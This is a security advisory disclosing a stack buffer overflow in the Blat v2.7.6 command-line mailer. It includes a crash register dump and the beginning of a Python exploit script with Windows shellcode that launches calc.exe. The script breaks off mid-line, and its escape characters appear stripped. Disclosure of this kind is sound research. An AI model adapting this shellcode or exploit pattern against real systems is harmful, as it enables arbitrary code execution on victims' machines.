[+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/AS-BLAT-MAILER-BUFFER-OVERFLOW.txt Vendor: ================================www.blat.nethttp://sourceforge.net/projects/blat/ Product: ================================ Blat v2.7.6 blat.exe is a Win32 command line eMail tool that sends eMail using SMTP or post to usenet using NNTP. Vulnerability Type: ===================== Stack Buffer Overflow CVE Reference: ============== N/A Vulnerability Details: ===================== An older release of blat.exe v2.7.6 is prone to a stack based buffer overflow when sending malicious command line arguments, we need to send two arguments first can be whatever e.g. "AAAA" then second argument to trigger the buffer overflow and execute arbitrary code on the victims OS. Stack dump... EAX 00000826 ECX 0018E828 ASCII "Blat saw and processed these options, and was confused by the last one... AAAAAAA... EDX 0008E3C8 EBX 000000E1 ESP 0018F05C ASCII "AAAAA... EBP 41414141 ESI 00426E88 blat.00426E88 EDI 00272FD8 EIP 41414141 <-------------- BOOM! C 0 ES 002B 32bit 0(FFFFFFFF) P 1 CS 0023 32bit 0(FFFFFFFF) A 0 SS 002B 32bit 0(FFFFFFFF) Z 1 DS 002B 32bit 0(FFFFFFFF) S 0 FS 0053 32bit 7EFDD000(FFF) T 0 GS 002B 32bit 0(FFFFFFFF) D 0 O 0 LastErr ERROR_SUCCESS (00000000) EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE) Exploit code(s): =============== Python script to exploit... import struct,os,subprocess #pop calc.exe Windows 7 SP1 sc=("x31xF6x56x64x8Bx76x30x8Bx76x0Cx8Bx76x1Cx8B" "x6Ex08x8Bx36x8Bx5Dx3Cx8Bx5Cx1Dx78x01xEBx8B" "x4Bx18x8Bx7Bx20x01xEFx8Bx7Cx8FxFCx01xEFx31" "xC0x99x32x17x66xC1xCAx01xAEx75xF7x66x81xFA" "x10xF5xE0xE2x75xCFx8Bx53x24x01xEAx0FxB7x14" "x4Ax8Bx7Bx1Cx01xEFx03x2Cx97x68x2Ex65x78x65" "x68x63x61x6Cx63x54x87x04x24x50xFFxD5xCC") vulnpgm="C:blat276fullblat.exe " eip=struct.pack('